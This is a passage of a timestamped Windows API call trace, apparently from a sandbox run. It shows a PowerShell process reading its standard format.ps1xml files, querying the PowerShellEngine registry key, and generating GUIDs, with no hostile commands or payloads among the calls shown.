ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe6065417, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x5fb2)) returned 1 [0024.708] SetErrorMode (uMode=0x1) returned 0x1 [0024.708] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\certificate.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xcd060 | out: lpFileInformation=0xcd060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67ddf6d2, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67ddf6d2, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5dddcd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x6aca)) returned 1 [0024.709] SetErrorMode (uMode=0x1) returned 0x1 [0024.709] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xcd060 | out: lpFileInformation=0xcd060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e0582f, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e0582f, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e29f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x11bce)) returned 1 [0024.709] SetErrorMode (uMode=0x1) returned 0x1 [0024.709] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xcd060 | out: lpFileInformation=0xcd060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e2b98c, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e2b98c, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e76251, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x6119)) returned 1 [0024.709] SetErrorMode (uMode=0x1) returned 0x1 [0024.709] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\help.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xcd060 | out: lpFileInformation=0xcd060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e51ae9, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e51ae9, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e9c3af, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3ef37)) returned 1 [0024.709] SetErrorMode (uMode=0x1) returned 0x1 [0024.710] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershellcore.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xcd060 | out: lpFileInformation=0xcd060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e9dda3, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e9dda3, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe601915b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x15e67)) returned 1 [0024.710] SetErrorMode (uMode=0x1) returned 0x1 [0024.710] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershelltrace.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xcd060 | out: lpFileInformation=0xcd060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67eea05d, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67eea05d, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe601915b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x48b4)) returned 1 [0024.710] SetErrorMode (uMode=0x1) returned 0x1 [0024.710] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\registry.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xcd060 | out: lpFileInformation=0xcd060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67eea05d, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67eea05d, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe603f2b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x4e98)) returned 1 [0024.710] SetErrorMode (uMode=0x1) returned 0x1 [0024.713] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x308 [0024.713] GetFileType (hFile=0x308) returned 0x1 [0024.713] SetErrorMode (uMode=0x1) returned 0x1 [0024.713] GetFileType (hFile=0x308) returned 0x1 [0024.713] ReadFile (in: hFile=0x308, lpBuffer=0x327c1f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x327c1f0*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.715] ReadFile (in: hFile=0x308, lpBuffer=0x327c1f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x327c1f0*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.715] ReadFile (in: hFile=0x308, lpBuffer=0x327c1f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x327c1f0*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.715] ReadFile (in: hFile=0x308, lpBuffer=0x327c1f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x327c1f0*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.716] ReadFile (in: hFile=0x308, lpBuffer=0x327c1f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x327c1f0*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.716] ReadFile (in: hFile=0x308, lpBuffer=0x327c1f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x327c1f0*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.716] ReadFile (in: hFile=0x308, lpBuffer=0x327c1f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x327c1f0*, lpNumberOfBytesRead=0xcccf8*=0x9e2, lpOverlapped=0x0) returned 1 [0024.716] ReadFile (in: hFile=0x308, lpBuffer=0x327b73a, nNumberOfBytesToRead=0x21e, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x327b73a*, lpNumberOfBytesRead=0xcccf8*=0x0, lpOverlapped=0x0) returned 1 [0024.716] ReadFile (in: hFile=0x308, lpBuffer=0x327c1f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x327c1f0*, lpNumberOfBytesRead=0xcccf8*=0x0, lpOverlapped=0x0) returned 1 [0024.716] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xccca0 | out: lpFileInformation=0xccca0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67d93418, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67d93418, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e03e37, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x69e2)) returned 1 [0024.716] SetErrorMode (uMode=0x1) returned 0x1 [0024.716] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0xcc9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0024.716] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xccd88 | out: phkResult=0xccd88*=0x308) returned 0x0 [0024.717] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xccd0c, lpData=0x0, lpcbData=0xccd08*=0x0 | out: lpType=0xccd0c*=0x1, lpData=0x0, lpcbData=0xccd08*=0x56) returned 0x0 [0024.717] CoTaskMemAlloc (cb=0x5a) returned 0x303aa0 [0024.717] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xcccdc, lpData=0x303aa0, lpcbData=0xcccd8*=0x56 | out: lpType=0xcccdc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0xcccd8*=0x56) returned 0x0 [0024.717] RegCloseKey (hKey=0x308) returned 0x0 [0024.717] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0xcc9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0024.717] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0xcc880, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0024.722] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xf54b58b0, Data2=0x6570, Data3=0x488c, Data4=([0]=0x90, [1]=0x69, [2]=0x7c, [3]=0x9a, [4]=0x83, [5]=0xe3, [6]=0xa1, [7]=0x19))) returned 0x0 [0024.724] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x273798af, Data2=0x9e03, Data3=0x4e72, Data4=([0]=0x84, [1]=0x7, [2]=0x8a, [3]=0xb9, [4]=0x5b, [5]=0x2c, [6]=0x6d, [7]=0x8c))) returned 0x0 [0024.724] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\wsman.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x308 [0024.724] GetFileType (hFile=0x308) returned 0x1 [0024.724] SetErrorMode (uMode=0x1) returned 0x1 [0024.725] GetFileType (hFile=0x308) returned 0x1 [0024.725] ReadFile (in: hFile=0x308, lpBuffer=0x32a6d58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x32a6d58*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.726] ReadFile (in: hFile=0x308, lpBuffer=0x32a6d58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x32a6d58*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.726] ReadFile (in: hFile=0x308, lpBuffer=0x32a6d58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x32a6d58*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.727] ReadFile (in: hFile=0x308, lpBuffer=0x32a6d58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x32a6d58*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.727] ReadFile (in: hFile=0x308, lpBuffer=0x32a6d58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x32a6d58*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.727] ReadFile (in: hFile=0x308, lpBuffer=0x32a6d58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x32a6d58*, lpNumberOfBytesRead=0xcccf8*=0xfb2, lpOverlapped=0x0) returned 1 [0024.727] ReadFile (in: hFile=0x308, lpBuffer=0x32a6472, nNumberOfBytesToRead=0x4e, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x32a6472*, lpNumberOfBytesRead=0xcccf8*=0x0, lpOverlapped=0x0) returned 1 [0024.727] ReadFile (in: hFile=0x308, lpBuffer=0x32a6d58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x32a6d58*, lpNumberOfBytesRead=0xcccf8*=0x0, lpOverlapped=0x0) returned 1 [0024.727] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\wsman.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xccca0 | out: lpFileInformation=0xccca0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67f36317, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67f36317, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe6065417, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x5fb2)) returned 1 [0024.727] SetErrorMode (uMode=0x1) returned 0x1 [0024.728] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0xcc9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0024.728] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xccd88 | out: phkResult=0xccd88*=0x308) returned 0x0 [0024.728] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xccd0c, lpData=0x0, lpcbData=0xccd08*=0x0 | out: lpType=0xccd0c*=0x1, lpData=0x0, lpcbData=0xccd08*=0x56) returned 0x0 [0024.728] CoTaskMemAlloc (cb=0x5a) returned 0x1b6f7d80 [0024.728] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xcccdc, lpData=0x1b6f7d80, lpcbData=0xcccd8*=0x56 | out: lpType=0xcccdc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0xcccd8*=0x56) returned 0x0 [0024.728] RegCloseKey (hKey=0x308) returned 0x0 [0024.728] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0xcc9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0024.728] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0xcc880, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0024.729] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x8fcc77ca, Data2=0x797c, Data3=0x49d3, Data4=([0]=0x93, [1]=0xda, [2]=0x90, [3]=0xd, [4]=0x3a, [5]=0x8a, [6]=0x26, [7]=0xea))) returned 0x0 [0024.729] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x578e2fac, Data2=0x9659, Data3=0x434b, Data4=([0]=0xb5, [1]=0x52, [2]=0x9c, [3]=0xe7, [4]=0xf1, [5]=0xf4, [6]=0xa7, [7]=0x40))) returned 0x0 [0024.730] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x961e9e62, Data2=0xa7c9, Data3=0x45b3, Data4=([0]=0xb2, [1]=0x27, [2]=0xb6, [3]=0x6e, [4]=0xd0, [5]=0x68, [6]=0x23, [7]=0x4a))) returned 0x0 [0024.730] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x410bebb0, Data2=0x3e7f, Data3=0x438d, Data4=([0]=0xa9, [1]=0x4a, [2]=0x1e, [3]=0x96, [4]=0x98, [5]=0x3f, [6]=0x25, [7]=0x74))) returned 0x0 [0024.730] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x9297762d, Data2=0x8f6c, Data3=0x46df, Data4=([0]=0xb0, [1]=0x92, [2]=0x6a, [3]=0xea, [4]=0x55, [5]=0xf2, [6]=0x6, [7]=0xf2))) returned 0x0 [0024.730] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x5c34b76e, Data2=0x4568, Data3=0x4330, Data4=([0]=0xb2, [1]=0x87, [2]=0x10, [3]=0x15, [4]=0x9d, [5]=0x8e, [6]=0xd0, [7]=0x35))) returned 0x0 [0024.730] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\certificate.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x308 [0024.730] GetFileType (hFile=0x308) returned 0x1 [0024.731] SetErrorMode (uMode=0x1) returned 0x1 [0024.731] GetFileType (hFile=0x308) returned 0x1 [0024.731] ReadFile (in: hFile=0x308, lpBuffer=0x32f2ab8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x32f2ab8*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.732] ReadFile (in: hFile=0x308, lpBuffer=0x32f2ab8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x32f2ab8*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.732] ReadFile (in: hFile=0x308, lpBuffer=0x32f2ab8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x32f2ab8*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.733] ReadFile (in: hFile=0x308, lpBuffer=0x32f2ab8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x32f2ab8*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.733] ReadFile (in: hFile=0x308, lpBuffer=0x32f2ab8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x32f2ab8*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.733] ReadFile (in: hFile=0x308, lpBuffer=0x32f2ab8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x32f2ab8*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.733] ReadFile (in: hFile=0x308, lpBuffer=0x32f2ab8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x32f2ab8*, lpNumberOfBytesRead=0xcccf8*=0xaca, lpOverlapped=0x0) returned 1 [0024.733] ReadFile (in: hFile=0x308, lpBuffer=0x32f20ea, nNumberOfBytesToRead=0x136, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x32f20ea*, lpNumberOfBytesRead=0xcccf8*=0x0, lpOverlapped=0x0) returned 1 [0024.733] ReadFile (in: hFile=0x308, lpBuffer=0x32f2ab8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x32f2ab8*, lpNumberOfBytesRead=0xcccf8*=0x0, lpOverlapped=0x0) returned 1 [0024.734] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\certificate.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xccca0 | out: lpFileInformation=0xccca0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67ddf6d2, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67ddf6d2, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5dddcd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x6aca)) returned 1 [0024.734] SetErrorMode (uMode=0x1) returned 0x1 [0024.734] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0xcc9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0024.734] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xccd88 | out: phkResult=0xccd88*=0x308) returned 0x0 [0024.734] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xccd0c, lpData=0x0, lpcbData=0xccd08*=0x0 | out: lpType=0xccd0c*=0x1, lpData=0x0, lpcbData=0xccd08*=0x56) returned 0x0 [0024.734] CoTaskMemAlloc (cb=0x5a) returned 0x1b6f7d80 [0024.734] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xcccdc, lpData=0x1b6f7d80, lpcbData=0xcccd8*=0x56 | out: lpType=0xcccdc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0xcccd8*=0x56) returned 0x0 [0024.734] RegCloseKey (hKey=0x308) returned 0x0 [0024.734] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0xcc9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0024.734] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0xcc880, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0024.771] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xfcf3b4a3, Data2=0x3a35, Data3=0x4524, Data4=([0]=0x8e, [1]=0x33, [2]=0x4a, [3]=0x80, [4]=0xc3, [5]=0xcf, [6]=0xd, [7]=0x41))) returned 0x0 [0024.771] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x16eea6a2, Data2=0xdb7, Data3=0x4fdc, Data4=([0]=0xae, [1]=0x7b, [2]=0x70, [3]=0xe3, [4]=0xb9, [5]=0xd7, [6]=0x71, [7]=0xf2))) returned 0x0 [0024.772] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x1c896bf3, Data2=0x5e17, Data3=0x41ec, Data4=([0]=0x81, [1]=0x8b, [2]=0xe8, [3]=0x97, [4]=0x7f, [5]=0xa8, [6]=0x41, [7]=0x9))) returned 0x0 [0024.772] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xd0797313, Data2=0x9b7d, Data3=0x4df8, Data4=([0]=0x86, [1]=0x57, [2]=0x6d, [3]=0xe1, [4]=0x53, [5]=0x5b, [6]=0x4, [7]=0x24))) returned 0x0 [0024.773] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xe274d33d, Data2=0x14f0, Data3=0x4fee, Data4=([0]=0xb4, [1]=0xea, [2]=0x6a, [3]=0x78, [4]=0xf8, [5]=0x10, [6]=0x62, [7]=0x99))) returned 0x0 [0024.773] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x8fe80922, Data2=0xd6bf, Data3=0x49a7, Data4=([0]=0x99, [1]=0xaf, [2]=0xba, [3]=0x41, [4]=0x71, [5]=0xd7, [6]=0x1a, [7]=0xbe))) returned 0x0 [0024.773] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xb2a5bfaa, Data2=0x3879, Data3=0x4090, Data4=([0]=0xb8, [1]=0x5e, [2]=0xaa, [3]=0xd0, [4]=0xaa, [5]=0x8b, [6]=0x4b, [7]=0x59))) returned 0x0 [0024.774] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x308 [0024.774] GetFileType (hFile=0x308) returned 0x1 [0024.774] SetErrorMode (uMode=0x1) returned 0x1 [0024.774] GetFileType (hFile=0x308) returned 0x1 [0024.774] ReadFile (in: hFile=0x308, lpBuffer=0x33a50b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x33a50b0*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.775] ReadFile (in: hFile=0x308, lpBuffer=0x33a50b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x33a50b0*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.776] ReadFile (in: hFile=0x308, lpBuffer=0x33a50b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: 